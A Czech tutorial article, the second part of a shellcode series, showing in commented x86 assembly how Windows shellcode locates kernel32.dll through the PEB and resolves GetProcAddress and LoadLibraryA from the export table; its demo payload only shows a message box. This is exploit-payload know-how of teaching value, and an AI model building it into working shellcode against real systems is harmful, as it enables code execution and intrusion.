Exploitace #2 - Shellcode

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: BabCA SjEs
Datum: 10.6.2007
Hodnocení/Hlasovalo: 1.67/15

Druhý díl je o hledání kernel.dll v paměti.

Jak jsme si slíbili v minulém díle, dnes si ukážeme, jak se hledá v paměti knihovna kernle32.dll a ukážeme si jak se vytváří základní typ polymorfního shellcodu.

 

.Co bych měl znát?

   Určitě by jste měli mít v paměti článek Exploitace #1 - Shellcode.

.Co budu potřebovat?

   To samé, jako v prvním díle, ale s tímto balíčkem, který obsahuje zase všechny kódy a utilitu code_generator, napsanou Pythonu. Tento program slouží pro přepsání našeho kódu do Céčkové podoby nebo pro vygenerování polymorfního kódu.

 

.Hledáme Kernel32.dll!

   Jak jsme si řekli v prvním díle, kernel se nahrává do paměti mezi prvníma, proto je více než pravděpodobné, že bude ležet někde ve vyšších adresách. Tuto domněnku využívá první způsob hledání. Jde o to, že se hledá od nějaké přibližné adresy signatura hlavičky knihovny. Tato signatura je MZ, jelikož v PE souborech jsou v hlavičce první dva bajty rezervované právě pro tyto znaky (MZ).  Tento způsob je spíše tipovací, jelikož předpokládá, že tam ten kernel bude ležet. Bohužel je možnost, že tam bude ležet i jiná knihovna. Tento způsob můžeme označit tedy za nevyhovující. Proto tu je spolehlivá metoda, která je o něco složitější, ale vždy funkční na "libovolné" verzi systému Windows. Je založena na nějakých výpočtech, které mi jsou zatím utajeny:

 

xor eax, eax                                      ; - Nuluj eax

; mov eax, dword ptr fs:[eax+30h] ; - Toto se mi nepovedlo prelozit v zadnem asm ( (F,M,N)ASM ),

                                                           ; - proto se nahrazuje primo kodem, který vznikne po prelozeni

db 64h, 8Bh, 40h, 30h

test eax, eax                                      ; - Proved bitovy soucin

js hledej_kernel_9x                          ; - Skoc pokud je nastaven prinak SF (jedna se o system windows 9x)

push esi                                              ; - uloz esi

mov eax, dword ptr ds:[eax+0Ch]   ; - Do eax uloz dvojslovo na adrese: data_segmen : eax + 12

mov esi, dword ptr ds:[eax+01Ch]  ; - Do esi uloz dvojslovo na adrese: data_segmen : eax + 28

lods dword ptr ds:[esi]                      ; - Nahraj do registru eax adresu DS:ESI (zvis/sniz esi o 4). Timto si nejsem moc jistej

mov eax, dword ptr ds:[eax+8h]      ; - Do eax uloz dvojslovo na adrese: data_segmen : eax + 8

pop esi                                                ; - Obnov esi

jmp hledej_dll                                    ; - Uz jsme nasli adresu kernelu, je ulozena v eax

hledej_kernel_9x:                             ; - Heldej kernel na systemu 9x

    mov eax, dword ptr ds:[eax+34h]  ; - Do eax uloz dvojslovo na adrese: data_segmen : eax + 52

    add eax, 7Ch                                     ; - K eax pricti 124

    mov eax, dword ptr ds:[eax+3Ch]  ; - Do eax uloz dvojslovo na adrese: data_segmen : eax + 60

 

Tak pokud někdo dokážete slovně popsat jak ten kernel hledá, tak mi napište. Pro jistotu můžeme ještě přidat kontrolu, jestli je adresa v eax opravdu ukazatel na nějakou knihovnu. Toto se provádí zase pomocí porovnání hlavičky se znaky MZ. Pokud tam ta knihovna není tak se ji pokusíme najít pomocí prvního způsobu, tedy postupným hledáním:

 

hledej_dll:                                         ; - Pro jistotu kontrola

    cmp word ptr [eax], 5A4Dh         ; - Porovnej 2 znaky s MZ (hlavicka dll)

    je mam_dll                                    ; - Je-li shoda, mame presnou adresu

    dec eax                                          ; - Pokud ne sniz eax o jedna (=> Pokus se najit presnejsi adresu)

    jmp hledej_dll                               ; - Pokracuj v hledani

 

Tato kontrola je naštěstí nepovinná, jelikož v eax bývá opravdu ukazatel na kernel, ale jistota je jistota. Teď si musíme uvědomit co všechno v eax máme. Jak jsme si řekli je to adresa začátku knihovny a zároveň je to i handle, takže tuto adresu můžeme předávat jako jeden z parametrů funkce GetProcAddress, což nám nadále usnadní práci. Je dobré si tuto hodnotu uložit na zásobník, jelikož ji budeme hodně používat.

 

.Hledáme adresy funkcí

   Teď když známe adresu knihovny kernel32.dll, musíme ještě najít také adresy funkcí, které obsahuje. Pokud potřebujeme jen jednu libovolnou funkci z této knihovny, můžeme hledat rovnou ji, ale ve většině případů jich budeme potřebovat víc. V prvním díle jsme si ukázali, že na to, abychom se dostali k libovolným funkcím a knihovnám nám stačí pouze dvě funkce GetProcAddress a LoadLibraryA. Podíváme-li se na GetProcAddress blíže, zjistíme, že přebírá dva parametry a to handle a název hledané funkce. Jelikož handle knihovny kernel známe, už nepotřebujeme hledat LoadLibraryA, jelikož si ji můžeme kdykoliv zjistit pomocí GetProcAddress. Samotné vyhledání adresy funkce je docela složitá věc, ale nic tak hrozného. Na to, abychom nalezli tuto adresu, potřebujeme vědět jak vypadá hlavička knihovny.

 

   Na adrese +0x3C od začátku kernelu se nachází  PE hlavička. Přičtením 0x78 k PE se dostaneme na offset seznamu exportovaných funkcí. Tento seznam mimo jiné obsahuje počet exportovaných funkcí (+0x14) a offset na offsety názvů funkcí (+0x20). Vypadá to strašně, ale v kódu je to snad lépe čitelný.

 

mam_dll:                                               ; - Mame presnou adresu
    push eax                                            ; - Uloz adresu (handle) kernelu na zasobnik, pro dalsi pouziti


    jmp getprocaddress                          ; - Ziskej retezec GetProcAddress

    MamGetProcAddress:
        pop edx                                          ; - Uloz ukazatel do edx
        xor ebx, ebx                                   ; - Nuluj ebx
        mov byte ptr [edx+14], bl            ; - Dosad NULL do retezce


        mov ebx, eax                                 ; - Zkopiruj adresu kernelu do ebx

    mov esi, dword ptr [ebx+3Ch]         ; - Offset na PE
    add esi, ebx                                       ; - K tomuto ofsetu pricti adresu kernelu
    mov esi, dword ptr [esi+78h]          ; - Export Table Address
    add esi, ebx                                       ; - K tomuto ofsetu pricti adresu kernelu
    mov ecx, dword ptr [esi+14h]         ; - Do ecx uloz pocet exportovanych funkci knihovnou
    mov edi, dword ptr [esi+20h]          ; - Do edi uloz adresu kde je offset na seznam nazvu funkci
    add edi, ebx                                       ; - K teto adrese pricti adresu kernelu

    xor ebp, ebp                                      ; - Nuluj ebp, zde si budeme ukladat indexi funkci
    push esi                                             ; - Schovame Export Table, jelikoz se bude menit

...

...

getprocaddress:                                    ; - Potreba pri hledani kernelu
    call MamGetProcAddress
    db "GetProcAddressN"


 

Nyní, když už známe počet exportovaných funkcí v knihovně a ukazatele na jejich názvy, můžeme se pustit do hledání funkce GetProcAddress, respektive do hledaní jejího indexu.

 

Toto se provádí pomocí porovnávaní řetězců na adresách určených v ExportTable.

 

smycka_hledejadresu:           ; - Do (Smicka)
    push edi                               ; - Ulozime si edi, ecx na zasobnik
    push ecx
    mov edi, dword ptr [edi]     ; - Najdeme si offset na nazev dane fce
    add edi, ebx                         ; - Ziskame adresu z ofsetu
    mov esi, edx                        ; - Nas string GetProcAddress
    xor ecx, ecx                         ; - Nuluj ecx
    mov cl, 0Eh                          ; - Do 8 bitoveho cl (z ecx) uloz delku retezce (14)
    repz cmpsb                           ; - Porovname (ecx = delka retezce)
    je getprocaddr_nalezeno    ; - Pokud souhlasi pokracujeme dal

    pop ecx                                ; - Pokud ne, vratime ecx = zbyvajici pocet funkci
    pop edi                                 ; - Obnovime edi = adresa na offsety s nazvy funkci
    add edi, 4h                           ; - Pricteme delku ofsetu, takze se edi odkazuje na dalsi funkci
    inc ebp                                 ; - Zvisime ebp (index funkce) a zkousime dalsi
loop smycka_hledejadresu     ; - Until (ecx <> 0)
                                                  ; - Hledame dalsi (pocet kroku v ecx ktery je nastaven na pocet exportovanych fci)

 

Takže po tomto kroku máme v ebp index funkce v ExportTable, abychom našli adresu GetProcAddress, musíme provést zase nějaké záhadné kroky.
 

getprocaddr_nalezeno:
    pop ecx                                         ; - Vratime ze zasobniku 3 ulozene hodnoty
    pop edi
    pop esi

    mov ecx, ebp                                 ; - Presuneme index do ecx
    shl ecx, 1                                       ; - Vynasobime dvema
    mov eax, dword ptr [esi+24h]     ; - Najdeme adresu na tabulku s dalsimi offsety
    add eax, ebx                                  ; - K adrese pricteme adresu kernelu
    add eax, ecx                                  ; - K eax pricteme index a ziskame adresu na index teto fce v jine tabulce :)

    xor ecx, ecx                                   ; - Nuluj ecx, ecx
    mov cx, word ptr [eax]                 ; - Do cx nacteme slovo z teto adresy cimz ziskame dany index
    shl ecx, 2h                                     ; - Vynasobime 4ma
    mov eax, dword ptr [esi+1Ch]     ; - Najdeme offset tabulky adres funkci
    add eax, ebx                                  ; - Z offsetu ziskame adresu
    add eax, ecx                                  ; - Pricteme index a ziskali sme konecnou adresu na ktere je offset fce

    mov eax, dword ptr [eax]            ; - Nacteme offset dane fce

    add eax, ebx                                 ; - Konecne mame vyslednou adresu
    push eax                                       ; - Ulozime adresu na zasobnik

 

Tak konečně máme adresu funkce uloženou v registru eax a na zásobníku. Toto je asi hodně složitý, ale snad zcela "přesný" způsob hledání kernelu a jeho funkcí. Bohužel lepší jsem nenašel, tak se budu muset asi spokojit s tímto. Tady je poskládaný toto zlo, který hledá kernel v paměti a adresu funkce GetProcAddress.

 

.Hledáme LoadLibraryA

    Nyní si musíme rozmyslet jak budeme manipulovat s adresou kernelu a GetProcAddress. Můžeme si vybrat mezi zásobníkem a registry. Já volím zásobník a proto se tu budeme zabývat pouze toto metodou, jelikož se nám uvolní všechny registry. Podívejme se tedy blíže na zásobník.

 

    Vrchol zásobníku, jehož adresa je uložena v registru esp, roste směrem k nižším adresám, takže pokud uložíme na zásobník dvě hodnoty (A, B), bude hodnota A ležet na adrese 4 bajty vyšší než B. Zároveň se esp sníží o 8 bajtů (4bajty*2 -> uložili jsme dvě hodnoty). Ukažme si tedy rozmístění dat v našem zásobníku. Za předpokladu, že esp ukazuje na vrchol zásobníku, bude GetProcAddress ležet na adrese [esp+0], tedy na vrcholu a kernel bude na [esp+4]. Nesmíme ale zapomínat, že pokud přidáme na zásobník nějaké další hodnoty, bude ležet GetProcAddress na [esp+4*pocet_pridanych]. Na kernel bychom ještě přičetli 4.

 

; ESP => Ukazatel na vrchol zasobniku
;
; +0 _________________
;     | GetProcAddress        |
;     |_________________|
; +4 _________________
;     | Kernel32.dll              |
;     |_________________|
 

Když už víme jak se dostat k našim nalezeným hodnotám, nic nám nebrání, abychom si zjistili adresu funkce LoadLibraryA.

 

jmp load                                     ; - Ziskej ukazatel na retezec
mam_load:
    xor ecx, ecx                           ; - Nuluj ecx, pro dosazeni NULL
    pop edx                                  ; - Vem adresu
    mov byte ptr [edx+0Ch], cl  ; - Pridej NULL
    push edx                                ; - Uloz na zasobnik
    push dword ptr [esp+08h]   ; - Kernel se nam posunul o dalsi 4 bajty, tedy puvodni 4 + 4*1 = 8
                                                   ; - Adresa kernelu je zaroven i handle
    call dword ptr [esp+08h]     ; - Fce se posunula o 8 bajtu (dva parametry), tedy 4*2 = 8
                                                   ; - V eax adresa na LoadLibraryA

...

...

load:
    call mam_load
    db "LoadLibraryAN"

 

V eax máme nyní uloženou adresu funkce. Můžeme si ji uložit na zásobník, ale v našem shellcodu ji potřebujeme pouze jednou, tak je to zbytečné.

.Skládáme kód

     Už jsme si ukázali jak najít kernel v paměti, vyhledat adresu funkce GetProcAddress, jak používat tyto adresy uložené na zásobníku a tak nám nic nebrání vrhnout se na náš shellcod, který nám má zobrazit zprávu. Nejedná se už o nic těžkého, výsledek si můžete prohlídnout zde. Je podobný poslednímu kódu v předchozím díle, akorát jsme přidali kód na hledání kernelu, funkce GetProcAddress a místo adres voláme data uložená na zásobníku.

 

  

Bohužel se sem nevešlo všechno co bych chtěl, tak v příštím díle si ukážeme jak vytvořit jednoduchý polymorfní kód a nakousneme little/big endian. Ještě se znovu podíváme na tento kód, jelikož po zkompilování nám vznikne pár NULL bajtů, tak si ukážeme jak se jich zbavit, což zahrnuje práci s řetězci pomocí zásobníku :).

 

 

<$] Babča Sjes [$>